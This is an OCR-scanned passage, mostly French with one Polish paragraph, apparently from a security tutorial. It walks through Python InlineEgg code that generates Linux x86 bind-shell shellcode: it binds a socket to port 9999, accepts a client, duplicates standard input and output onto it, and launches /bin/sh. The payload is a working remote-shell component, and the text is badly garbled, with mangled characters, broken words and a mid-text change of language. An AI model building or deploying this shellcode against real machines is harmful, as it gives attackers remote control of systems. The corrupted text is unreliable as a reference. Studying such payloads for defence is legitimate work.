codę en Python :
egg=InlineEgg(Linuxx86Syscall) Creer le shellcode
egg.bind(sock, ('0.0.0.0', 9999)) Creer le codę connectant le socket (dont la poignee est stockee sur la pile a 1'adresse sauvegardee dans la variable sock) au port 9999.
egg.listen(sock,1)
Creer le codę permettant de commencer 1'ecoute sur le socket dont la poignee est stockee a l'adresse sauvegardee dans la variable sock.
egg.close(sock)
Creer le codę fermant le socket dont la poignee se trouve sur la pile a l'adresse stockee dans la variable Client.
egg.execve('/bin/sh', ('sh','-i')) Creer le codę laęant le shell.
JDeposer la valeur du registre *eax sur la pile.
Fermer le socket sont la poignee est sauvegardee sur la pile._
sock=egg.Socket (Socket.AF_INET
Socket.SOCK_STREAM) ,
Creer le codę constituantje^oefćet. Dans la variable sock sauvegarder le nom du
registre dans lequel sera placee la poignee au socket (c-a-d du registre
£
sock=egg.save(sock)
Crśer le codę empilarut la valeur sto dans le registre dont le nom_se_troq( dans la variable soćfc. L'emplacei de cette valeur sur la pile ssrapduvegarde
dans la variable sock.-
client=egg.accept(sock, 0, 0)
Stwórz kod czekający na podłączenie się klienta i tworzący, na potrzeby tego połączenia, nowe gniazdo. Nazwę rejestru, w którym zwrócony będzie uchwyt gniazda zapamiętaj w zmiennej Client.
client=egg.save(Client)
Creer le code-atten€łantiS~c5nnexion du ciicnt et creant, pour les besoins de cette connexion, un nouveau socket. Stocker le nom du registre dans lequel sera retoume la poignee du socket dans la variable
Client. —
egg.dup2(Client, 0) egg.dup2(Client, 1) egg.dup2(Client, 2)
Creer le codę connectant 1'entree et la sortie standard et la sortie d'erreur au socket dont la poignee se trouve a l'adresse stockee dans la variable Client
Connecter le socket (dont la poignee est stockee sur la pile) au port 9999. | |
r | |
Commencer 1'ecoute sur le socket dont la poignee est sauvegardee sur la pile. | |
r |
Attendre la connexion du Client et creer, pour les besoins de cette connexion, un nouveau socket. La poignee dus5Ck»Ł§era retoumee dans le registre %eax.
Connecter l'entree et la sortie standard et la sortie d'erreur au socket dont la poignee est sauvegardee sur la pile.
' |
r |
Lancer le shel |